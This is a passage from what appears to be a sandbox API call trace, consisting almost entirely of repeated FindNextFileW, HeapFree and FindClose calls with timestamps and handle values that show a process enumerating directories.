FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.192] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.192] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.193] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.193] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.194] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.194] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.196] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.196] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.197] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.197] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.199] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.199] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.200] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.200] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.202] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.202] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.203] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.203] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.205] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.205] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.206] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.206] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.207] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.207] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.209] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.209] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.210] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.210] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.212] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.212] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.214] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.214] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.214] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4390048 | out: hHeap=0x490000) returned 1 [0318.215] FindNextFileW (in: hFindFile=0x4a5a18, lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8) returned 1 [0318.216] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.216] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.217] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.217] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.217] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.217] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.217] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.217] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.217] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.218] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.218] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.218] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.218] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.218] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.219] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.219] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.219] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.219] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.219] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.219] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.219] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.219] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.427] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.427] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.427] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.427] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.427] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.427] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.427] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.427] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.427] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.427] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.428] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.428] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.428] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.428] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.428] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.428] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.428] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.428] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.428] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.428] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.429] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.429] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.429] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.429] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.429] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.429] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.429] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.429] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.430] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.430] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.430] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.430] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.430] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43e4090 | out: hHeap=0x490000) returned 1 [0318.430] FindNextFileW (in: hFindFile=0x43b00c8, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0318.430] FindClose (in: hFindFile=0x43b00c8 | out: hFindFile=0x43b00c8) returned 1 [0318.430] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.430] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.430] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.430] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.431] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.431] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.431] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.431] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.431] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.431] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.431] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.431] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.431] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.431] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.431] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.432] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.432] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.432] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.432] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.432] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.432] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.432] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.433] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.433] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.433] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.433] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 0 [0318.433] FindClose (in: hFindFile=0x4a5318 | out: hFindFile=0x4a5318) returned 1 [0318.433] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4390048 | out: hHeap=0x490000) returned 1 [0318.434] FindNextFileW (in: hFindFile=0x4a5a18, lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8) returned 1 [0318.434] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43e4090 | out: hHeap=0x490000) returned 1 [0318.434] FindNextFileW (in: hFindFile=0x4a5a18, lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8) returned 1 [0318.434] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43e4090 | out: hHeap=0x490000) returned 1 [0318.434] FindNextFileW (in: hFindFile=0x4a5a18, lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8) returned 1 [0318.438] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43e4090 | out: hHeap=0x490000) returned 1 [0318.438] FindNextFileW (in: hFindFile=0x4a5a18, lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8) returned 1 [0318.438] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43e4090 | out: hHeap=0x490000) returned 1 [0318.438] FindNextFileW (in: hFindFile=0x4a5a18, lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8) returned 1 [0318.439] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.439] FindNextFileW (in: hFindFile=0x43b00c8, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0318.441] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43f50a0 | out: hHeap=0x490000) returned 1 [0318.441] FindNextFileW (in: hFindFile=0x43b0308, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0318.442] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.442] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.442] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.442] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.442] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.442] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.443] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.443] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.443] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.443] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.443] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.443] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.443] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.443] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.445] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.445] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.445] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.445] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.445] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.445] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.446] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.446] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.446] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.446] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.446] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.446] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.446] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.446] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.447] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44150b0 | out: hHeap=0x490000) returned 1 [0318.447] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0318.447] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44150b0 | out: hHeap=0x490000) returned 1 [0318.447] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0318.447] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44150b0 | out: hHeap=0x490000) returned 1 [0318.447] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0318.449] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44150b0 | out: hHeap=0x490000) returned 1 [0318.449] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0318.449] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44150b0 | out: hHeap=0x490000) returned 1 [0318.449] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0318.449] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44150b0 | out: hHeap=0x490000) returned 1 [0318.449] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0318.450] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44150b0 | out: hHeap=0x490000) returned 1 [0318.450] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0318.450] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44150b0 | out: hHeap=0x490000) returned 1 [0318.450] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0318.450] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44150b0 | out: hHeap=0x490000) returned 1 [0318.450] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0318.450] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44150b0 | out: hHeap=0x490000) returned 1 [0318.450] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0318.450] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.450] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.451] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.451] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.451] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.451] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.451] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.451] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.451] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.451] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.452] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.452] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.452] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.452] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.453] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.453] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.453] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.453] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.453] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.453] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.453] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.453] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.454] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.454] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.454] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.454] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.454] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.454] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.454] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.454] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.455] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.455] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.455] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.455] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.455] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.455] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.455] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.455] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.456] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.456] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0318.456] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44050a8 | out: hHeap=0x490000) returned 1 [0318.456] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x3a0f308 | out: 